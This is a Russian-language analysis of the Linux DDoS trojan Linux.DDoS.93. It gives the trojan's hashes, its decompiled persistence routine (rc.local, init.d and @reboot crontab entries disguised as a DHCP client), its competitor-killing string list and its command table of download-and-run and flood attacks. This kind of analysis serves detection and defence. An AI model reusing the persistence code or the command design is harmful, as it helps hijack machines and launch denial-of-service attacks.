SHA1:
- f164721acd2e5dabaa2b802946162cbaac48aa5e (x64)
- 76d7a2f1fcc3eeb398bba416ac5cc78072780367 (x64)
- c3b5310eca6dce452c42e5db14a852d42b08f559 (armv6l)
Linux-троянец, предназначенный для осуществления DDoS-атак. Распространяется предположительно с использованием уязвимостей ShellShock.
При запуске проверяет наличие файла /var/run/dhcpclient-eth0.pid. Если тот не найден, пытается зарегистрировать себя в автозагрузке:
void __cdecl startup()
{
char self_path[1023]; // [sp+0h] [bp-414h]@1
int v1; // [sp+400h] [bp-14h]@1
FILE *stream; // [sp+404h] [bp-10h]@3
char v3[12]; // [sp+408h] [bp-Ch]@2
v1 = readlink("/proc/self/exe", self_path, 0x3FFu);
if ( v1 != -1 )
{
v3[v1 - 0x408] = 0;
if ( geteuid() )
goto LABEL_16;
stream = fopen("/etc/rc.local", "w");
if ( stream )
{
fprintf(stream, "#!/bin/sh -e\n%s\nexit 0", self_path);
fclose(stream);
return;
}
if ( !access("/etc/init.d", 0) )
{
rename(self_path, "/etc/init.d/dhcpclient-eth0");
system("update-rc.d dhcpclient-eth0 defaults");
return;
}
if ( !access("/etc/init", 0) )
{
stream = fopen("/etc/init/dhcpclient-eth0.conf", "w");
if ( stream )
{
fprintf(stream, "description \"dhcp client\"\nstart on startup\ntask\nexec %s", self_path);
fclose(stream);
return;
}
}
stream = fopen("/etc/crontab", "a");
if ( !stream )
{
LABEL_16:
system("crontab -l > tempcrontab");
stream = fopen("tempcrontab", "a");
if ( stream )
{
fprintf(stream, "\n@reboot %s\n", self_path);
fclose(stream);
system("crontab tempcrontab");
remove("tempcrontab");
}
}
else
{
fprintf(stream, "\n@reboot root %s\n", self_path);
fclose(stream);
}
}
}
Затем файл /var/run/dhcpclient-eth0.pid блокируется на запись. Троянец маскирует собственное имя под имя "-sh". Затем с использованием /proc вредоносная программа исследует содержимое памяти и перечисляет исполняемые файлы процессов (с целью поиска других экземпляров троянца). Если среди них обнаруживается совпадение с одной из строк, приведенных в списке ниже, работа такого процесса останавливается:
signatures dq offset aPrivmsg ; DATA XREF: dump_memory+1A0r
.data:00000000006066C0 ; dump_file+ABr
.data:00000000006066C0 ; "privmsg"
.data:00000000006066C8 dq offset aGetlocalip ; "getlocalip"
.data:00000000006066D0 dq offset aKaiten ; "kaiten"
.data:00000000006066D8 dq offset aBrianKrebs ; "brian krebs"
.data:00000000006066E0 dq offset aBotnet ; "botnet"
.data:00000000006066E8 dq offset aBitcoinMine ; "bitcoin mine"
.data:00000000006066F0 dq offset aLitecoinMine ; "litecoin mine"
.data:00000000006066F8 dq offset aRootkit ; "rootkit"
.data:0000000000606700 dq offset aKeylogger ; "keylogger"
.data:0000000000606708 dq offset aDdosing ; "ddosing"
.data:0000000000606710 dq offset aNulling ; "nulling"
.data:0000000000606718 dq offset aHackforums ; "hackforums"
.data:0000000000606720 dq offset aSkiddie ; "skiddie"
.data:0000000000606728 dq offset aScriptKiddie ; "script kiddie"
.data:0000000000606730 dq offset aBlackhat ; "blackhat"
.data:0000000000606738 dq offset aWhitehat ; "whitehat"
.data:0000000000606740 dq offset aGreyhat ; "greyhat"
.data:0000000000606748 dq offset aGrayhat ; "grayhat"
.data:0000000000606750 dq offset aDoxing ; "doxing"
.data:0000000000606758 dq offset aMalware ; "malware"
.data:0000000000606760 dq offset aBootkit ; "bootkit"
.data:0000000000606768 dq offset aRansomware ; "ransomware"
.data:0000000000606770 dq offset aSpyware ; "spyware"
.data:0000000000606778 dq offset aBotkiller ; "botkiller"
Троянец генерирует собственный идентификатор следующего вида: [A-Z0-9]{20}.
Затем Linux.DDoS.93 создает два дочерних процесса. Первый обменивается информацией с управляющим сервером, а второй в непрерывном цикле проверяет, работает ли родительский процесс, и в случае остановки перезапускает его. В свою очередь родительский процесс тоже следит за дочерним и перезапускает его при необходимости — так троянец поддерживает свою непрерывную работу на зараженной машине.
Троянец способен обрабатывать следующие команды:
команда | параметры | назначение |
---|---|---|
DNX | host URL | скачать и запустить файл. Записывается в файл с именем getbinaries |
GET | host port page time | начать атаку методом HTTP flood с использованием GET-запросов |
HEAD | host port page time | начать атаку методом HTTP flood с использованием HEAD-запросов |
PING | отправить команду “ping” | |
POST | host port page time postparams | начать атаку методом HTTP flood с использованием POST-запросов |
RCD | host port time | начать атаку методом TCP flood (в пакеты записываются случайные данные длиной 4096 байт) |
RUDP | host time | начать атаку методом UDP flood на случайный порт |
SCANNER | method port page params useragent | отправить на 255 случайных IP-адресов HTTP-запросы с указанными параметрами |
SUDP | host port time | начать атаку методом Spoofed UDP flood |
TCP | host port time | начать атаку методом TCP flood |
TERMINATE | завершить выполнение | |
UDP | host port time | начать атаку методом UDP flood на указанный порт |
UNINSTALL | самоудалиться | |
UPDATE | host URL | обновить вредоносную программу. Записывается в файл с именем getbinaries |
Когда троянец получает команду начать DDoS-атаку или SCANNER, он сначала прекращает все дочерние процессы, а затем запускает 25 новых процессов, которые и выполняют атаку указанным злоумышленниками методом или осуществляют сканирование.